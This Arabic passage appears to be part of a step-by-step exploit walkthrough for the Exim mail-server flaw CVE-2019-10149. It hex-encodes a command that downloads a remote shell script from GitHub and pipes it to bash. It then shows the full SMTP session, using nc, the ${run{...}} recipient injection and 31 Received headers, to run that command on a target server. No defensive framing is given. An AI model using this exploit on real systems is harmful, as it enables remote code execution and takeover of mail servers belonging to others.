تحويل أمر الشل الخاص بك إلى ست عشري. مثال:

• /bin/sh -c “wget https://raw.githubusercontent.com/darsigovrustam/CVE-2019-10149/master/RemoteConnection.sh" -O - | bash
• \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

جدول مثال:

• \t-c\ = -c
• \t= مسافة
• x20 = مسافة
• x7C = |
• x2F = /
• x3A = :
• x2D = -
• x3E = >
• x26 = &
• x22 = "
• x2E = .

استخدام الاستغلال

أولاً نستخدم nc لبدء اتصال بالخادم.

• nc 192.168.0.168 25

بمجرد الاتصال نقول HELO.

• helo localhost
• (الإجابة: 250 exim Hello localhost [192.168.0.168])

بعد ذلك، نضبط عنوان المرسل على فارغ.

• mail from:<>
• (الإجابة: 250 OK)

ثم نضبط عنوان المستلم مع الحمولة التي أنشأناها سابقًا بإدخال الأمر المطلوب مكان النقاط في rcpt to:${run{...}}@localhost.

• rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
• (الإجابة: 250 Accepted)

وأخيرًا، نكتب DATA أولاً، متبوعة بـ 31 سطرًا، وسطر فارغ، ونقطة.

• DATA
• Received: 1
• Received: 2
• Received: 3
• Received: 4
• Received: 5
• Received: 6
• Received: 7
• Received: 8
• Received: 9
• Received: 10
• Received: 11
• Received: 12
• Received: 13
• Received: 14
• Received: 15
• Received: 16
• Received: 17
• Received: 18
• Received: 19
• Received: 20
• Received: 21
• Received: 22
• Received: 23
• Received: 24
• Received: 25
• Received: 26
• Received: 27
• Received: 28
• Received: 29
• Received: 30
• Received: 31
• .